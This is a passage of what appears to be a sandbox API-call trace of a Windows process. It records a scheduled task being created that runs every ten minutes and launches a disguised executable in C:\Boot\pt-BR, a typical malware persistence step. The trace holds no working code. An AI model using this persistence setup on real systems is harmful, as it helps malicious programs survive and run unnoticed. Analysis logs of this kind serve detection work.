[0108.188] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|delete|") returned 8 [0108.188] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.188] lstrlenW (lpString="|delete|") returned 8 [0108.188] lstrlenW (lpString="|sc|") returned 4 [0108.188] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0108.188] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.188] lstrlenW (lpString="query") returned 5 [0108.188] lstrlenW (lpString="query") returned 5 [0108.188] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.188] lstrlenW (lpString="sc") returned 2 [0108.188] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.188] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|query|") returned 7 [0108.188] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.188] lstrlenW (lpString="|query|") returned 7 [0108.188] lstrlenW (lpString="|sc|") returned 4 [0108.188] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0108.188] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.188] lstrlenW (lpString="change") returned 6 [0108.188] lstrlenW (lpString="change") returned 6 [0108.188] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.188] lstrlenW (lpString="sc") returned 2 [0108.188] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.189] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|change|") returned 8 [0108.189] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.189] lstrlenW (lpString="|change|") returned 8 [0108.189] lstrlenW (lpString="|sc|") returned 4 [0108.189] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0108.189] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.189] lstrlenW (lpString="run") returned 3 [0108.189] lstrlenW (lpString="run") returned 3 [0108.189] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.189] lstrlenW (lpString="sc") returned 2 [0108.189] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.189] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|run|") returned 5 [0108.189] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.189] lstrlenW (lpString="|run|") returned 5 [0108.189] lstrlenW (lpString="|sc|") returned 4 [0108.189] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0108.189] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.189] lstrlenW (lpString="end") returned 3 [0108.189] lstrlenW (lpString="end") returned 3 [0108.189] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.189] lstrlenW (lpString="sc") returned 2 [0108.189] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.189] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|end|") returned 5 [0108.189] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.189] lstrlenW (lpString="|end|") returned 5 [0108.189] lstrlenW (lpString="|sc|") returned 4 [0108.189] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0108.189] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.189] lstrlenW (lpString="showsid") returned 7 [0108.189] lstrlenW (lpString="showsid") returned 7 [0108.189] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.190] lstrlenW (lpString="sc") returned 2 [0108.190] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.190] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|showsid|") returned 9 [0108.190] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|sc|") returned 4 [0108.190] lstrlenW (lpString="|showsid|") returned 9 [0108.190] lstrlenW (lpString="|sc|") returned 4 [0108.190] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] lstrlenW (lpString="/sc") returned 3 [0108.190] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] lstrlenW (lpString="/sc") returned 3 [0108.190] GetProcessHeap () returned 0x177cee70000 [0108.190] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x8) returned 0x177cee74290 [0108.190] GetProcessHeap () returned 0x177cee70000 [0108.190] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b860 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] lstrlenW (lpString="MINUTE") returned 6 [0108.190] lstrlenW (lpString="-/") returned 2 [0108.190] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] lstrlenW (lpString="MINUTE") returned 6 [0108.190] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.190] lstrlenW (lpString="MINUTE") returned 6 [0108.190] GetProcessHeap () returned 0x177cee70000 [0108.190] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee742b0 [0108.190] GetProcessHeap () returned 0x177cee70000 [0108.190] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7ba70 [0108.190] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.191] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.191] lstrlenW (lpString="/mo") returned 3 [0108.191] lstrlenW (lpString="-/") returned 2 [0108.191] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.191] lstrlenW (lpString="?") returned 1 [0108.191] lstrlenW (lpString="?") returned 1 [0108.191] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.191] lstrlenW (lpString="mo") returned 2 [0108.191] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.191] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|?|") returned 3 [0108.191] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.191] lstrlenW (lpString="|?|") returned 3 [0108.191] lstrlenW (lpString="|mo|") returned 4 [0108.191] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.191] lstrlenW (lpString="create") returned 6 [0108.191] lstrlenW (lpString="create") returned 6 [0108.191] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.191] lstrlenW (lpString="mo") returned 2 [0108.191] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.191] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.191] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.191] lstrlenW (lpString="|create|") returned 8 [0108.191] lstrlenW (lpString="|mo|") returned 4 [0108.191] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0108.191] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.191] lstrlenW (lpString="delete") returned 6 [0108.191] lstrlenW (lpString="delete") returned 6 [0108.191] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.192] lstrlenW (lpString="mo") returned 2 [0108.192] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.192] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|delete|") returned 8 [0108.192] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.192] lstrlenW (lpString="|delete|") returned 8 [0108.192] lstrlenW (lpString="|mo|") returned 4 [0108.192] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0108.192] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.192] lstrlenW (lpString="query") returned 5 [0108.192] lstrlenW (lpString="query") returned 5 [0108.192] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.192] lstrlenW (lpString="mo") returned 2 [0108.192] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.192] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|query|") returned 7 [0108.192] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.192] lstrlenW (lpString="|query|") returned 7 [0108.192] lstrlenW (lpString="|mo|") returned 4 [0108.192] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0108.192] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.192] lstrlenW (lpString="change") returned 6 [0108.192] lstrlenW (lpString="change") returned 6 [0108.192] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.192] lstrlenW (lpString="mo") returned 2 [0108.192] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.193] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|change|") returned 8 [0108.193] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.193] lstrlenW (lpString="|change|") returned 8 [0108.193] lstrlenW (lpString="|mo|") returned 4 [0108.193] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0108.193] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.193] lstrlenW (lpString="run") returned 3 [0108.193] lstrlenW (lpString="run") returned 3 [0108.193] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.193] lstrlenW (lpString="mo") returned 2 [0108.193] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.193] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|run|") returned 5 [0108.193] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.193] lstrlenW (lpString="|run|") returned 5 [0108.193] lstrlenW (lpString="|mo|") returned 4 [0108.193] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0108.193] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.193] lstrlenW (lpString="end") returned 3 [0108.193] lstrlenW (lpString="end") returned 3 [0108.193] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.193] lstrlenW (lpString="mo") returned 2 [0108.193] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.193] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|end|") returned 5 [0108.193] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.193] lstrlenW (lpString="|end|") returned 5 [0108.194] lstrlenW (lpString="|mo|") returned 4 [0108.194] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] lstrlenW (lpString="showsid") returned 7 [0108.194] lstrlenW (lpString="showsid") returned 7 [0108.194] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.194] lstrlenW (lpString="mo") returned 2 [0108.194] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.194] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|showsid|") returned 9 [0108.194] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|mo|") returned 4 [0108.194] lstrlenW (lpString="|showsid|") returned 9 [0108.194] lstrlenW (lpString="|mo|") returned 4 [0108.194] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] lstrlenW (lpString="/mo") returned 3 [0108.194] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] lstrlenW (lpString="/mo") returned 3 [0108.194] GetProcessHeap () returned 0x177cee70000 [0108.194] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x8) returned 0x177cee742d0 [0108.194] GetProcessHeap () returned 0x177cee70000 [0108.194] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b500 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.194] lstrlenW (lpString="10") returned 2 [0108.195] lstrlenW (lpString="-/") returned 2 [0108.195] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] lstrlenW (lpString="10") returned 2 [0108.195] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] lstrlenW (lpString="10") returned 2 [0108.195] GetProcessHeap () returned 0x177cee70000 [0108.195] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x6) returned 0x177cee742f0 [0108.195] GetProcessHeap () returned 0x177cee70000 [0108.195] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b440 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] lstrlenW (lpString="/tr") returned 3 [0108.195] lstrlenW (lpString="-/") returned 2 [0108.195] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.195] lstrlenW (lpString="?") returned 1 [0108.195] lstrlenW (lpString="?") returned 1 [0108.195] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.195] lstrlenW (lpString="tr") returned 2 [0108.195] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.195] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|?|") returned 3 [0108.195] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.195] lstrlenW (lpString="|?|") returned 3 [0108.195] lstrlenW (lpString="|tr|") returned 4 [0108.195] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.195] lstrlenW (lpString="create") returned 6 [0108.195] lstrlenW (lpString="create") returned 6 [0108.195] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.195] lstrlenW (lpString="tr") returned 2 [0108.195] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.196] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.196] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.196] lstrlenW (lpString="|create|") returned 8 [0108.196] lstrlenW (lpString="|tr|") returned 4 [0108.196] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0108.196] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.196] lstrlenW (lpString="delete") returned 6 [0108.196] lstrlenW (lpString="delete") returned 6 [0108.196] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.196] lstrlenW (lpString="tr") returned 2 [0108.196] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.196] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|delete|") returned 8 [0108.196] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.196] lstrlenW (lpString="|delete|") returned 8 [0108.196] lstrlenW (lpString="|tr|") returned 4 [0108.196] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0108.196] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.196] lstrlenW (lpString="query") returned 5 [0108.196] lstrlenW (lpString="query") returned 5 [0108.196] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.196] lstrlenW (lpString="tr") returned 2 [0108.196] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.196] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|query|") returned 7 [0108.196] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.197] lstrlenW (lpString="|query|") returned 7 [0108.197] lstrlenW (lpString="|tr|") returned 4 [0108.197] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0108.197] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.197] lstrlenW (lpString="change") returned 6 [0108.197] lstrlenW (lpString="change") returned 6 [0108.197] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.197] lstrlenW (lpString="tr") returned 2 [0108.197] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.197] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|change|") returned 8 [0108.197] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.197] lstrlenW (lpString="|change|") returned 8 [0108.197] lstrlenW (lpString="|tr|") returned 4 [0108.197] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0108.197] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.197] lstrlenW (lpString="run") returned 3 [0108.197] lstrlenW (lpString="run") returned 3 [0108.197] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.197] lstrlenW (lpString="tr") returned 2 [0108.197] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.197] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|run|") returned 5 [0108.197] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.197] lstrlenW (lpString="|run|") returned 5 [0108.197] lstrlenW (lpString="|tr|") returned 4 [0108.197] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0108.198] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.198] lstrlenW (lpString="end") returned 3 [0108.198] lstrlenW (lpString="end") returned 3 [0108.198] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.198] lstrlenW (lpString="tr") returned 2 [0108.198] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.198] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|end|") returned 5 [0108.198] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.198] lstrlenW (lpString="|end|") returned 5 [0108.198] lstrlenW (lpString="|tr|") returned 4 [0108.198] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0108.198] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.198] lstrlenW (lpString="showsid") returned 7 [0108.198] lstrlenW (lpString="showsid") returned 7 [0108.198] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.198] lstrlenW (lpString="tr") returned 2 [0108.198] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.198] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|showsid|") returned 9 [0108.198] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|tr|") returned 4 [0108.198] lstrlenW (lpString="|showsid|") returned 9 [0108.198] lstrlenW (lpString="|tr|") returned 4 [0108.198] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0108.198] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.198] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.198] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.198] lstrlenW (lpString="/tr") returned 3 [0108.199] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] lstrlenW (lpString="/tr") returned 3 [0108.199] GetProcessHeap () returned 0x177cee70000 [0108.199] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x8) returned 0x177cee74310 [0108.199] GetProcessHeap () returned 0x177cee70000 [0108.199] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b590 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.199] lstrlenW (lpString="-/") returned 2 [0108.199] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.199] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.199] StrChrIW (lpStart="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'", wMatch=0x3a) returned=":\\Boot\\pt-BR\\gmailnotifierpro.exe'" [0108.199] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.199] GetProcessHeap () returned 0x177cee70000 [0108.199] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee74330 [0108.199] _memicmp (_Buf1=0x177cee74330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.199] GetProcessHeap () returned 0x177cee70000 [0108.199] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee74350 [0108.199] GetProcessHeap () returned 0x177cee70000 [0108.199] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee7aa20 [0108.199] _memicmp (_Buf1=0x177cee7aa20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.199] GetProcessHeap () returned 0x177cee70000 [0108.199] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x4c) returned 0x177cee73b40 [0108.199] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] lstrlenW (lpString="'C") returned 2 [0108.200] lstrlenW (lpString="-/") returned 2 [0108.200] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.200] GetProcessHeap () returned 0x177cee70000 [0108.200] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x4a) returned 0x177cee73ba0 [0108.200] GetProcessHeap () returned 0x177cee70000 [0108.200] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b980 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] lstrlenW (lpString="/f") returned 2 [0108.200] lstrlenW (lpString="-/") returned 2 [0108.200] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.200] lstrlenW (lpString="?") returned 1 [0108.200] lstrlenW (lpString="?") returned 1 [0108.200] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.200] lstrlenW (lpString="f") returned 1 [0108.200] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.200] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|?|") returned 3 [0108.200] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.200] 